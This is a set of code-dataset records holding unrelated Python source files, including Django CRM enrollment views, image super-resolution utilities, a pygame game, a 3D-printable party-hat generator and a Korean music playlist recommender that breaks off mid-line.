#给客户发送已经生成的报名表的链接,所以用报名表的id,而不是用户的ID\n cache.set('random_str',random_str(),60000)\n cache.set('enroll_id',enroll_success_ret.id,60000)\n msg['link_url']='请将此报名链接发送给客户,http://127.0.0.1:8001/crm/enrollment/%s/registration/%s' % (cache.get('enroll_id'),cache.get('random_str'))\n\n\n except IntegrityError as e:\n\n\n enroll_obj=models.Enrollment.objects.get(customer=customer_obj,enrolled_class=enroll_from_obj.cleaned_data['enrolled_class'])\n enroll_id=enroll_obj.id\n\n if enroll_obj.contract_agreed:\n return redirect('/crm/payment/%s' % enroll_id )\n\n cache.set('random_str', random_str(),60000)\n cache.set('enroll_id', enroll_id, 60000)\n\n msg['error']=\"该用户已经报名了此课程,请勿重复创建!\"\n # 给客户发送已经生成的报名表的链接,所以用报名表的id,而不是用户的ID\n link_url='请将此报名链接发送给客户,http://127.0.0.1:8001/crm/enrollment/%s/registration/%s'% (cache.get('enroll_id'),cache.get('random_str'))\n\n msg['link_url'] =link_url\n\n return render(request, 'sales/enroll.html', {'form_obj': enroll_from_obj, 'customer_obj': customer_obj,\"msg\":msg})\n\n\n\n#报名表的处理\n\ndef registration_tackle(request,enroll_id,random_str):\n\n enroll_obj=get_object_or_404(models.Enrollment,id=enroll_id)\n\n #判断是否是dropzone的ajax提交的数据\n\n if request.is_ajax(): # 判断提交的是否是ajax,然后对应的enroll_obj 建立相关的文件夹\n print('request.files',request.FILES)\n enroll_dir_id=os.path.join(settings.UPLOAD_URL,enroll_id)\n if not os.path.exists(enroll_dir_id):\n os.makedirs(enroll_dir_id,exist_ok=True)\n #If the target directory with the same mode as specified already exists, raises an OSError exception if exist_ok is False, otherwise no exception is raised.\n\n for k,file_obj in request.FILES.items():\n with open(os.path.join(enroll_dir_id,file_obj.name),'wb') as wr:\n for chunk in file_obj.chunks():\n wr.write(chunk)\n\n\n\n\n return HttpResponse('aa')\n status =0\n\n if enroll_id:\n customer_obj=enroll_obj.customer\n if True :#cache.get('enroll_id'):\n if request.method==\"POST\":\n customer_form=froms.CustomerFrom(request.POST,instance=customer_obj)\n print(request.POST)\n if customer_form.is_valid():\n customer_form.save()\n enroll_obj.contract_agreed=True\n enroll_obj.save()\n status=1\n print(\"here\")\n return render(request,'sales/registration.html',{'status':status})\n else:\n print(\"here1111\")\n if enroll_obj.contract_agreed:\n status=1\n\n customer_form = froms.CustomerFrom(instance=customer_obj)\n\n\n return render(request,'sales/registration.html',{'customer_obj':customer_form,'enroll_obj':enroll_obj,'status':status})\n else:\n return HttpResponse('该链接已经失效')\n else:\n return HttpResponse(\"该链接不存在\")\n\n\n\ndef payment_check(request,enroll_id):\n '''\n 审核报名信息,不通过就驳回,否则就前进,显示客户信息,报名表的信息\n :param request:\n :param enroll_id:\n :return:\n '''\n\n enroll_obj=models.Enrollment.objects.get(id=enroll_id)\n customer_obj=enroll_obj.customer\n\n\n customer_form=froms.CustomerFrom(instance=customer_obj)\n # print(customer_form.Meta.flag,'............')\n # enroll_obj_form=froms.EnrollmentForm(instance=enroll_obj)\n #单纯一个obj类的对象不能进行循环吗??,必须要用djangoform后才能循环\n\n print(customer_obj,type(customer_obj))\n return render(request,'sales/payment_check.html',{'customer_obj':customer_form,'enroll_obj':enroll_obj})\n\n\n\n#信息审核不通过,驳回\n\n\ndef payment_notok(request,enroll_id):\n '''\n 将学生报名表中的同意去掉,让学生重新填写相关信息,跳到相关页面\n :param request:\n :return:\n '''\n\n enroll_obj=models.Enrollment.objects.get(id=enroll_id)\n enroll_obj.contract_agreed=False\n enroll_obj.save()\n return redirect('/crm/enrollment/%s' % enroll_obj.customer.id)\n\n\n\ndef payment_ok(request,enroll_id):\n '''\n 审核通过,转到付费界面\n :param request:\n :return:\n '''\n enroll_obj = models.Enrollment.objects.get(id=enroll_id)\n enroll_obj.contract_approved=True\n enroll_obj.save()\n\n return redirect('/crm/jiaofei/%s' % enroll_obj.id)\n\n\ndef jiaofei(request,enroll_id):\n '''\n 缴费页面\n :param request:\n :return:\n '''\n\n #判断是否都已经同意了相关的协议和销售是否审核同意了\n\n errors={}\n\n enroll_obj = models.Enrollment.objects.get(id=enroll_id)\n customer_obj = enroll_obj.customer\n payment_obj = froms.paymentForm()\n customer_form = froms.CustomerFrom(instance=customer_obj)\n if request.method==\"GET\":\n\n if not enroll_obj.contract_approved and enroll_obj.contract_agreed:\n return redirect('/crm/enrollment/%s' % enroll_obj.customer.id)\n elif not enroll_obj.contract_approved:\n return render(request, 'sales/payment_check.html',\n {'customer_obj': customer_form, 'enroll_obj': enroll_obj})\n # elif request.method==\"POST\":\n\n\n\n elif request.method==\"POST\":\n payment_obj = froms.paymentForm(instance=enroll_obj.customer)\n amount=int(request.POST.get('amount',0))\n if amount<500:\n errors['error']=\"数额不能低于500元!\"\n else:\n\n a=models.Payment.objects.create(\n customer=customer_obj,\n course=enroll_obj.enrolled_class.course,\n amount=amount,\n consultant=enroll_obj.consultant,\n\n\n )\n\n enroll_obj.customer.status=0\n enroll_obj.customer.save()\n\n return redirect('/myking_admin/crm/customer/')\n\n\n\n return render (request,'sales/jiaofei.html',{'customer_obj':customer_obj,'payment_obj':payment_obj,'enroll_obj':enroll_obj,'error':errors})","repo_name":"kaiven11/projcet--CRM","sub_path":"PerfectCRM/crm/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70489150973","text":"import numpy as np\nimport skimage.filters as filters\nimport skimage\nimport PIL.Image as pil\nimport glob\nfrom torchvision import transforms\nfrom PIL import ImageFilter as IF\nimport torch\nimport math\nimport utils.pytorch_ssim\n#from pytorch_msssim import ssim, ms_ssim, SSIM, MS_SSIM\n\ntrain_dir = \"/Volumes/Transcend/Holopix50k/Holopix50k/train/left\" #stored dataset in external hard-drive\n\n\ndef rgb_to_y(rgbimg):\n ''' Conversion formula:\n Y= 16 + 65.738*R/256 + 129.057*G/256 + 25.064*B/256\n Cb = 128-37.945*R/256 - 74.494*G/256 + 112.439*B/256\n Cr = 128+112.439*R - 94.154*G/256 - 18.285*B/256\n '''\n return 16. + (64.738 * rgbimg[:, :, 0] + 129.057 * rgbimg[:, :, 1] + 25.064 * rgbimg[:, :, 2]) / 256.\ndef rgb_to_ycbcr(img):\n y = 16. + (64.738 * img[:, :, 0] + 129.057 * img[:, :, 1] + 25.064 * img[:, :, 2]) / 256.\n cb = 128. + (-37.945 * img[:, :, 0] - 74.494 * img[:, :, 1] + 112.439 * img[:, :, 2]) / 256.\n cr = 128. + (112.439 * img[:, :, 0] - 94.154 * img[:, :, 1] - 18.285 * img[:, :, 2]) / 256.\n return np.array([y, cb, cr]).transpose([1, 2, 0])\n\ndef apply_gaussian_kernel(img,sigma):\n\n blurred = img.filter(IF.GaussianBlur(sigma))\n return blurred\n\ndef centre_crop(img,scale):\n \n crop = transforms.CenterCrop(((img.size[1]//scale)*scale,(img.size[0]//scale)*scale))\n img = crop(img)\n return img\n \ndef psnr(original, compressed): \n mse = torch.mean((original - compressed) ** 2) \n if(mse == 0): # MSE is zero means no noise is present in the signal .# Therefore PSNR have no importance. \n return 100\n max_pixel = 255.0\n psnr = 20 * torch.log10(max_pixel / torch.sqrt(mse))\n return psnr \ndef ycbcr_to_rgb(img):\n if type(img) == np.ndarray:\n r = 298.082 * img[:, :, 0] / 256. + 408.583 * img[:, :, 2] / 256. - 222.921\n g = 298.082 * img[:, :, 0] / 256. - 100.291 * img[:, :, 1] / 256. - 208.120 * img[:, :, 2] / 256. + 135.576\n b = 298.082 * img[:, :, 0] / 256. + 516.412 * img[:, :, 1] / 256. - 276.836\n return np.array([r, g, b]).transpose([1, 2, 0])\n elif type(img) == torch.Tensor:\n if len(img.shape) == 4:\n img = img.squeeze(0)\n r = 298.082 * img[0, :, :] / 256. + 408.583 * img[2, :, :] / 256. - 222.921\n g = 298.082 * img[0, :, :] / 256. - 100.291 * img[1, :, :] / 256. - 208.120 * img[2, :, :] / 256. + 135.576\n b = 298.082 * img[0, :, :] / 256. + 516.412 * img[1, :, :] / 256. - 276.836\n return torch.cat([r, g, b], 0).permute(1, 2, 0)\n else:\n raise Exception('Unknown Type', type(img))\n\n\n# if __name__ == \"__main__\":\n # transform1 = transforms.Compose([\n # transforms.ToTensor()\n # ]\n # )\n'''\nSanity check for MSSIM and SSIM score\n'''\n # hr = pil.open('../results/coffee_srcnn_30.png').convert('RGB')\n # lr = pil.open('../results/coffee_bicubic_30.png').convert('RGB')\n # lr = transform1(lr)\n # hr = transform1(hr)\n # print(pytorch_ssim.ssim(torch.unsqueeze(lr,0),torch.unsqueeze(hr,0)))\n'''\nSanity Check for PSNR (Peak Signal to Noise Ratio) score\n'''\n# hr = pil.open('../images/hr.png').convert('RGB')\n# lr = pil.open('../images/lr.png').convert('RGB')\n# lr = transform1(lr)\n# hr = transform1(hr)\n# print(psnr(lr,hr))\n'''\nTo check Gaussian Kernel effect. Output at </output/lr.png>\n'''\n# img_path = '../images/hr.png'\n# img = pil.open(img_path).convert('RGB')\n# blurred = apply_gaussian_kernel(img,0.73) #sigma in paper was 0.55. We increase kernel size for Holopix50k\n# blurred.save(\"../images/blurred.png\")\n \n","repo_name":"arjunarao619/SRCNN_Pytorch","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3569,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"34183158286","text":"from django.urls import path\n\nfrom core.views import UserProfileView, RegisterView, BaseView, SiteCreateView, proxy_view\n\napp_name = \"core\"\n\nurlpatterns = [\n path('', BaseView.as_view(), name='base'),\n path('register/', RegisterView.as_view(), name='register'),\n path('profile/', UserProfileView.as_view(), name='user_profile'),\n path('create_site/', SiteCreateView.as_view(), name='create_site'),\n path('<slug:user_site_name>/<path:routes_on_original_site>/', proxy_view, name='proxy_view'),\n]\n","repo_name":"VyacheslavShrot/VpnService","sub_path":"src/core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43241308126","text":"from typing import Any, Dict, List\n\nfrom tortoise.functions import Sum\n\nfrom guarantor.db.dao.base import BaseDAO\nfrom guarantor.db.models.user_correct import UserCorrect\nfrom guarantor.enums import Currency\n\n\nclass UserCorrectDAO(BaseDAO[UserCorrect]):\n _model = UserCorrect\n\n @classmethod\n async def create_correct(\n cls,\n user_id: int,\n amount: float,\n currency: Currency,\n ) -> None:\n await cls.create(\n {\n \"user_id\": user_id,\n \"amount\": amount,\n \"currency\": currency,\n },\n )\n\n @classmethod\n async def get_balances(cls, user_id: int) -> List[Dict[str, Any]]:\n balances = await cls.get_balances_dict(user_id)\n return [{\"currency\": x, \"balance\": y} for x, y in balances.items()]\n\n @classmethod\n async def get_balances_dict(cls, user_id: int) -> Dict[str, Any]:\n balances = {x.value: 0 for x in Currency}\n result = (\n await cls._model.filter(user_id=user_id)\n .group_by(\"user_id\", \"currency\")\n .annotate(balance=Sum(\"amount\"))\n .values(\"balance\", \"currency\")\n )\n\n for balance in result:\n balances.update({balance[\"currency\"]: balance[\"balance\"]})\n\n return balances\n","repo_name":"ilyagod/guarantor","sub_path":"guarantor/db/dao/user_correct_dao.py","file_name":"user_correct_dao.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12108743772","text":"import time\r\nimport pygame\r\n\r\n\r\nclass Flappybird:\r\n def __init__(self, parent_screen):\r\n self.parent_screen = parent_screen\r\n self.image = pygame.image.load(\"resources/bird.png\")\r\n self.x = 170\r\n self.y = 300\r\n\r\n def draw_bird(self):\r\n self.parent_screen.blit(self.image, (self.x, self.y))\r\n pygame.display.flip()\r\n\r\nclass Game:\r\n def __init__(self):\r\n self.surface = pygame.display.set_mode((400, 600))\r\n self.bg = pygame.image.load(\"resources/bg.jpg\")\r\n self.flappy_bird = Flappybird(self.surface)\r\n self.flappy_bird.draw_bird()\r\n\r\n\r\n def draw_bg(self):\r\n self.surface.blit(self.bg, (-49, 0))\r\n\r\n def bird_jump(self):\r\n for i in range(1, 30, 3):\r\n time.sleep(0.02)\r\n self.flappy_bird.y -= i\r\n self.draw_bg()\r\n self.flappy_bird.draw_bird()\r\n for i in range(1, 30, 3):\r\n time.sleep(0.026)\r\n self.flappy_bird.y += i\r\n self.draw_bg()\r\n self.flappy_bird.draw_bird()\r\n\r\n pygame.display.flip()\r\n\r\n\r\n def run(self):\r\n\r\n running = True\r\n self.draw_bg()\r\n while running:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n running = False\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_ESCAPE:\r\n running = False\r\n\r\n if event.key == pygame.K_SPACE:\r\n self.bird_jump()\r\n\r\n self.flappy_bird.draw_bird()\r\n\r\n pygame.display.flip()\r\n\r\ngame = Game()\r\ngame.run()\r\n","repo_name":"darkwizzl/Flappy-Bird","sub_path":"flappy/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3677439245","text":"\"\"\"\n 给定一个二进制数组,计算其中最大连续 1 的个数。\n\n 示例 1:\n\n 输入: [1,1,0,1,1,1]\n 输出: 3\n 解释: 开头的两位和最后的三位都是连续1,所以最大连续1的个数是 3.\n 注意:\n\n 输入的数组只包含 0 和1。\n 输入数组的长度是正整数,且不超过 10,000。\n\n\n\"\"\"\n\nclass Solution(object):\n def findMaxConsecutiveOnes(self, nums):\n sumMax = 0\n temp = 0\n for num in nums:\n if num == 1:\n temp += 1\n else:\n if temp >= sumMax:\n sumMax = temp\n temp = 0\n\n if temp >= sumMax:\n sumMax = temp\n return sumMax\n\nif __name__ == \"__main__\":\n S = Solution()\n alist = [1, 1, 0, 1, 1, 1, 1]\n print(S.findMaxConsecutiveOnes(alist))","repo_name":"zzkk007/LeetCode","sub_path":"Easy/array/485_findMaxConsecutiveOnes.py","file_name":"485_findMaxConsecutiveOnes.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36107557386","text":"# Party hat generator for 3D printing. Use \"spiral\" - or \"vase\" mode for a nice result.\n#\n# Written by K. M. KnausgÃ¥rd 2022\nimport cadquery as cq\nimport math\n\n# Get from Google: https://fonts.google.com/noto/specimen/Noto+Emoji\nemoji_font_path = \"Noto_Emoji/NotoEmoji-VariableFont_wght.ttf\"\n\n\ndef create_party_hat(radius=30.0, text=\"☺\", emoji=False, fontsize=28.0, with_tiedown=True, halloween_mode=False):\n taper = 19.0 if not halloween_mode else 17.0 # Smaller value <=> sharper angle <=> more pointy hat\n text_pos_z = 13.0 if not halloween_mode else fontsize/2\n text_extrusion = 0.5\n fillet_radius = 0.12 # 0.12 works for most text, but filleting with cadquery is not robust. 0.2 looks better.\n tiedown_thickness = 2\n brim_width = radius/2.0\n\n layer_height = 0.2 # 3D printer setting.\n\n height = radius / math.tan(taper * math.pi / 180)\n height_plus_some_margin = (radius + text_extrusion) / math.tan(taper * math.pi / 180) * 1.1 # 10 % margin\n\n solid_cone = ( # This is the actual hat.\n cq.Workplane(\"front\", origin=(0, 0, 0))\n .circle(radius=radius)\n .extrude(until=height_plus_some_margin, taper=taper) # Create cone by extrusion\n .cut(cq.Workplane(\"front\", origin=(0, 0, height)).circle(50).extrude(-2.1)) # Remove sharp tip\n .faces(\">Z\").fillet(0.7) # Round off resulting circular face on tip.\n )\n\n solid_cone_text_cutter = ( # This cone is used for cutting text, not for the hat itself.\n cq.Workplane(\"front\", origin=(0, 0, 0))\n .circle(radius=radius + text_extrusion)\n .extrude(until=height_plus_some_margin, taper=taper)\n )\n\n text = (\n cq.Workplane(\"left\", origin=(0, 0, text_pos_z))\n .transformed(offset=cq.Vector(0, 0, text_pos_z), rotate=cq.Vector(180, taper, -90)) # az, pitch, roll\n .text(\n text,\n fontsize=fontsize, # mm\n distance=radius * 2.0, # 2.0 should give sufficient margin, but this is not a calculated value.\n font=\"Noto Emoji\" if emoji else \"Arial\", # Arial\n fontPath=emoji_font_path if emoji else None,\n combine=False,\n halign=\"center\",\n valign=\"center\",\n )\n )\n\n tiedown_circle_hidden_inside_hat = (\n cq.Workplane(\"front\", origin=(0, 0, 0))\n .circle(radius=radius)\n .extrude(until=tiedown_thickness, taper=taper)\n .faces(\">Z\")\n .circle(radius - 3)\n .cutThruAll()\n .combine()\n )\n\n tiedown_ears_inside_hat = (\n cq.Workplane(\"front\", origin=(radius - 5, 0, 0))\n .rect(6, 20)\n .extrude(until=tiedown_thickness)\n .edges(\"|Z and <X\")\n .fillet(2.5)\n .faces(\">Z\")\n .circle(radius=1.5)\n .cutThruAll()\n .mirror(mirrorPlane=\"YZ\", union=True)\n .rotateAboutCenter(axisEndPoint=(0, 0, 1), angleDegrees=90)\n .combine()\n )\n\n tiedown_hidden_inside = ( # Reinforced ring inside hat to make tiedown ears less vulnerable to cracking.\n cq.Workplane(\"front\", origin=(0, 0, 0))\n .add(tiedown_circle_hidden_inside_hat)\n .union(tiedown_ears_inside_hat)\n .edges(\"|Z\").fillet(1.0)\n .combine()\n )\n\n cutted_text = text.intersect(solid_cone_text_cutter)\n cone_with_extruded_filleted_text = cutted_text.union(solid_cone).edges().fillet(fillet_radius)\n\n # Removes the lower part to get rid of unnecessary fillet.\n hat = (\n cq.Workplane(\"front\", origin=(0, 0, 0))\n .add(cone_with_extruded_filleted_text).faces(\"<Z\")\n .circle(radius + 1).extrude(fillet_radius, combine=\"cut\")\n .translate((0, 0, -fillet_radius)).faces(\"<Z\") # Remove fillet\n .circle(radius-1).extrude(tiedown_thickness + layer_height, combine=\"cut\", taper=taper).combine()\n )\n\n\n hat_brim = (\n cq.Workplane(\"front\", origin=(0, 0, 0))\n .circle(radius=radius+brim_width)\n .extrude(until=tiedown_thickness/2)\n .faces(\">Z\")\n .circle(radius)\n .cutThruAll()\n .combine()\n )\n\n if halloween_mode:\n hat = hat.union(hat_brim)\n\n # tiedown_inside.union(hat) #.faces(\"<Z\").shell(0.01)#Shelling and fillets did not work well together.\n return hat.union(tiedown_hidden_inside) if with_tiedown else hat\n\n\ndef export_3mf(model, filename_with_extension):\n cq.exporters.export(model, filename_with_extension, tolerance=0.01, angularTolerance=0.05)\n\n print(f\"Hat saved as {filename_with_extension}.\")\n\n message = (\n f\"Slice in Cura with settings:\\n\"\n \" -> Normal 0.2 mm settings as starting point,\\n\"\n \" -> Generate support false,\\n\"\n \" -> Bottom thickness 2.0 mm, \\n\"\n \" -> Infill 0%,\\n\"\n \" -> Spiralize outer contour on,\\n\"\n #\" -> Make overhang printable on (due to problems with large fillets for text),\\n\"\n \" -> (Slicing tolerance Exclusive or Inclusive on could help if spiderweb appears inside).\\n\"\n \" -> (Connect infill lines ?).\\n\"\n )\n print(message)\n\n\ndef main():\n # Select hat size, 95.0 cm diameter looks like a \"normal\" party hat.\n diameter = 170.0 # 102.0\n\n # Generate multiple hats using a list of tuples.\n names = [ # (\"☺\", 48, False), # This character is available in the Arial font.\n # (\"🌟\", 43, True), # Emoji\n # (\"♥\", 38, True), # Emoji\n # (\"©\", 42, True), # Emoji\n (\"🎃\", 85, True),\n # (\"J&T\", 28, False),\n # (\"K\", 48, False),\n # (\"20!\", 24, False),\n # (\"Test\", 25, False),\n ]\n\n # ... and a simple loop:\n for name in names:\n print(f\"Working on hat {name[0]}, text size={name[1]}\")\n text = name[0]\n\n # Halloween-hat\n hat = create_party_hat(radius=0.5 * diameter, text=text, fontsize=name[1], emoji=name[2], halloween_mode=True)\n\n # Normal party hat\n #hat = create_party_hat(radius=0.5 * diameter, text=text, fontsize=name[1], emoji=name[2])\n\n export_3mf(hat, f\"partyhat_{text.lower().replace(' ', '_')}_diameter_{round(diameter)}_fontsize_{name[1]}.3mf\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"kristianmk/party-hat-generator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6306,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"33260767976","text":"from rest_framework import serializers\n\nfrom .models import WinUpdate, WinUpdatePolicy\nfrom agents.models import Agent\n\n\nclass WinUpdateSerializer(serializers.ModelSerializer):\n class Meta:\n model = WinUpdate\n fields = \"__all__\"\n\n\nclass UpdateSerializer(serializers.ModelSerializer):\n winupdates = WinUpdateSerializer(many=True, read_only=True)\n\n class Meta:\n model = Agent\n fields = (\n \"pk\",\n \"hostname\",\n \"winupdates\",\n )\n\n\nclass WinUpdatePolicySerializer(serializers.ModelSerializer):\n class Meta:\n model = WinUpdatePolicy\n fields = \"__all__\"\n\n\nclass ApprovedUpdateSerializer(serializers.ModelSerializer):\n winupdates = WinUpdateSerializer(read_only=True)\n agentid = serializers.ReadOnlyField(source=\"agent.pk\")\n patch_policy = serializers.SerializerMethodField(\"get_policies\")\n\n def get_policies(self, obj):\n policy = WinUpdatePolicy.objects.get(agent=obj.agent)\n return WinUpdatePolicySerializer(policy).data\n\n class Meta:\n model = WinUpdate\n fields = (\n \"id\",\n \"kb\",\n \"guid\",\n \"agentid\",\n \"winupdates\",\n \"patch_policy\",\n )\n","repo_name":"password520/tacticalrmm","sub_path":"api/tacticalrmm/winupdate/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7375979360","text":"# Import data\nimport itertools\nfrom itertools import chain\nfrom tqdm.auto import tqdm\nimport os\nimport re\nfrom collections import Counter\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom gensim.models import FastText\nfrom khaiii import KhaiiiApi\napi = KhaiiiApi()\n\n# module\nfrom blend_final import blending_final\n\n\ndef cold_start(train_set, test_set):\n train = train_set\n test = test_set\n\n # train, test tokenization\n test['plylst_title'] = test['plylst_title'].str.replace(\"[^ㄱ-ㅎㅏ-ㅣ가-힣 ]\",\"\")\n newtest = test[test['plylst_title']!=''] # train, test에 플레이리스트 제목이 공백인데 length가 0이 아닌 것들이 있음\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n newtest = newtest[newtest['plylst_title']!=' ']\n\n train['plylst_title'] = train['plylst_title'].str.replace(\"[^ㄱ-ㅎㅏ-ㅣ가-힣 ]\",\"\")\n newtrain = train[train['plylst_title']!='']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n newtrain = newtrain[newtrain['plylst_title']!=' ']\n\n stopwords = ['게','하','야','의','가','이','은','들','는','좀','잘','걍','과','도','을','를','으로','자','에','와','한','하다',\n '고','에','때','ㄴ','ㄹ','여','어','에서','까지','어요','아요','다','ㅋ','ㅎ','ㅠ','ㅜ','근데','더', '네', '요',\n '다가', '해서', '아','곡','오', '노래', '음악', '뮤직']\n\n def morphs(s):\n token_t = []\n for word in api.analyze(s):\n for morph in word.morphs:\n if morph.lex not in stopwords:\n token_t.append((morph.lex))\n return token_t\n\n tokenized = []\n for sentence in newtrain['plylst_title']: # train tokenization\n temp = morphs(sentence)\n temp = [word for word in temp if not word in stopwords]\n tokenized.append(temp)\n\n tokenized_test = []\n for sentence in newtest['plylst_title']: # test tokenization\n temp1 = morphs(sentence)\n temp1 = [word for word in temp1 if not word in stopwords]\n tokenized_test.append(temp1)\n\n tokenized_all = tokenized + tokenized_test # join tokenized lists\n doc_token_list = [' '.join(tokens) for tokens in tokenized] # tokenized의 각 token list: token끼리 join하기\n test_token_list = [' '.join(tokens) for tokens in tokenized_test] # tokenized_test의 token끼리 join하기\n full_token_list = [' '.join(tokens) for tokens in tokenized_all] # tokenized_all의 token끼리 join하기\n\n\n # Model: FastText weighted Tf-Idf\n model = FastText(tokenized_all, size=32, window=3, min_count=1)\n words = list(model.wv.vocab)\n tf_idf_vect = TfidfVectorizer()\n\n final_tf_idf = tf_idf_vect.fit_transform(full_token_list)\n tfidf_feat = tf_idf_vect.get_feature_names()\n\n tqdm.pandas()\n tfidf_sent_vectors = []; # the tfidf-ft for each title is stored in this list\n row=0;\n errors=0\n for sent in tqdm(tokenized_all): # for each title\n sent_vec = np.zeros(32) # as word vectors are of zero length\n weight_sum =0; # num of words with a valid vector in the sentence/review\n for word in sent: # for each word in a review/sentence\n if word in words and word in tfidf_feat:\n vec = model.wv[word]\n tfidf = final_tf_idf[row, tfidf_feat.index(word)]\n sent_vec += (vec * tfidf)\n weight_sum += tfidf\n if weight_sum != 0:\n sent_vec /= weight_sum\n tfidf_sent_vectors.append(sent_vec)\n row += 1\n\n\n # Make new data with train + test\n frames = [newtrain, newtest]\n data = pd.concat(frames)\n data.reset_index(drop=False, inplace=True)\n data.columns = ['idx', 'tags', 'id', 'plylst_title', 'songs', 'like_cnt', 'updt_date']\n\n\n # Function Construction\n ## 1. find_similar_titles\n from sklearn.metrics.pairwise import cosine_similarity\n df = pd.DataFrame(tfidf_sent_vectors)\n\n def find_similar_titles(plylst_id, n):\n df['distances'] = cosine_similarity(df, df.iloc[plylst_id:plylst_id+1])\n n_largest = df['distances'].nlargest(n+1) # this contains the original plylst itself, so we need n+1\n temp = list(n_largest.index)\n temp.append(plylst_id)\n temp2 = set(temp) - set([plylst_id])\n return list(temp2)\n\n ## 2. find_songs\n def find_songs(plylst_id): # function that finds all songs from find_similar_titles (빈도 순)\n ids = find_similar_titles(plylst_id, 100)\n candidates = []\n for i in ids:\n a = data.loc[i].songs\n candidates.append(a)\n merged = [item for sublist in candidates for item in sublist]\n c = Counter(merged)\n l = c.most_common(100)\n song = [sublist[0] for sublist in l]\n return song\n\n ## 3. find_tags\n def find_tags(plylst_id): # function that finds all tags from find_similar_titles (빈도 순)\n ids = find_similar_titles(plylst_id, 100)\n candidates = []\n for i in ids:\n a = data.loc[i].tags\n candidates.append(a)\n merged = [item for sublist in candidates for item in sublist]\n c = Counter(merged)\n l = c.most_common(10)\n tag = [sublist[0] for sublist in l]\n if len(tag)!=10:\n ids = find_similar_titles(plylst_id, 150)\n candidates = []\n for i in ids:\n a = data.loc[i].tags\n candidates.append(a)\n merged = [item for sublist in candidates for item in sublist]\n c = Counter(merged)\n l = c.most_common(10)\n tag = [sublist[0] for sublist in l]\n return tag\n\n\n # Input cold start data\n results = pd.DataFrame(blending_final(train, test))\n\n blank_test = newtest[newtest.tags.apply(len)==0]\n blank_test = blank_test[blank_test.songs.apply(len)==0]\n blank_test = blank_test[blank_test.plylst_title.apply(len)!=0]\n cs = list(blank_test.index)\n\n ## song, tag을 채우기 위한 indices_song 찾기\n data1 = data.iloc[109421:]\n idxs = []\n for i in cs:\n row = data1.loc[data1['idx'] == i]\n a = row.index.tolist()\n idxs.append(a)\n\n indices_song = [item for sublist in idxs for item in sublist]\n\n answer1 = []\n for i in tqdm(indices_song):\n songs = find_songs(i)\n answer1.append(songs)\n\n answer2 = []\n for i in tqdm(indices_song):\n tags = find_tags(i)\n answer2.append(tags)\n\n\n # results + cold start 답으로도 안 채워진 아예 빈 플레이리스트들을 popular songs, tags로 채워넣기\n l 